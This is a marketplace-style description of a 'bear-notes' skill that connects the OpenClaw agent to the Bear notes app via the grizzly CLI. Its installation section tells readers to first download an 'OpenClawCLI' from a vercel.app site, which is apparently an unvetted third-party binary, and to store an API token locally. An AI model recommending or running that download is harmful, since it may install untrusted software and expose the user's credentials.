bear-notes

What This Skill Does

The bear-notes skill provides a powerful bridge between OpenClaw and the Bear app on macOS. By leveraging the grizzly CLI, it enables users to programmatically create, read, and manage notes directly from their terminal or via AI-driven commands. It supports advanced features such as appending text, tagging notes, and searching existing content. The skill relies on Bear's x-callback-url architecture, ensuring seamless integration with the native application's data structures while providing JSON-formatted outputs for easy consumption by the AI agent.

Installation

Before deploying the skill, you must ensure the underlying CLI is available on your system. First, download and install OpenClawCLI from https://openclawcli.vercel.app/. Once installed, you can add the skill to your agent by running the command: clawhub install openclaw/skills/skills/thiagoruss0/bear-notes7mcp. For operations that require write access or detailed note retrieval, you must configure your Bear API token. Obtain this token via Bear’s settings (Help > API Token) and store it in ~/.config/grizzly/token. It is highly recommended to create a configuration file at ~/.config/grizzly/config.toml to centralize settings like your token path and callback URLs.

Use Cases

This skill is perfect for users who want to treat their note-taking app as a database. Developers can automate daily logging by piping terminal outputs directly into specific Bear tags. Project managers can use it to maintain a living inbox by programmatically appending feedback or tasks to open notes. Because the skill supports JSON output, it is ideal for integrating note retrieval into AI workflows, such as summarizing past meeting notes or querying specific project tags.

Example Prompts

1. "Create a new note titled 'Project Alpha' in the 'work' tag with the content: 'Review quarterly goals by Friday.'"
2. "Find all notes tagged with 'work' and summarize the action items mentioned in them."
3. "Append the following text to my 'Daily Journal' note: 'Completed the integration of the Bear-notes skill.'"

Tips & Limitations

• The Bear application must remain open and active for commands to execute, as the skill interacts via x-callback-url.
• Always use the --enable-callback flag when you expect the skill to return data to your agent; otherwise, the command may fire-and-forget.
• Note IDs are internal to Bear; if you are managing specific notes, ensure you retrieve their IDs using the search functionality first.
• Ensure your shell environment has appropriate permissions to write to the ~/.config/grizzly/ directory.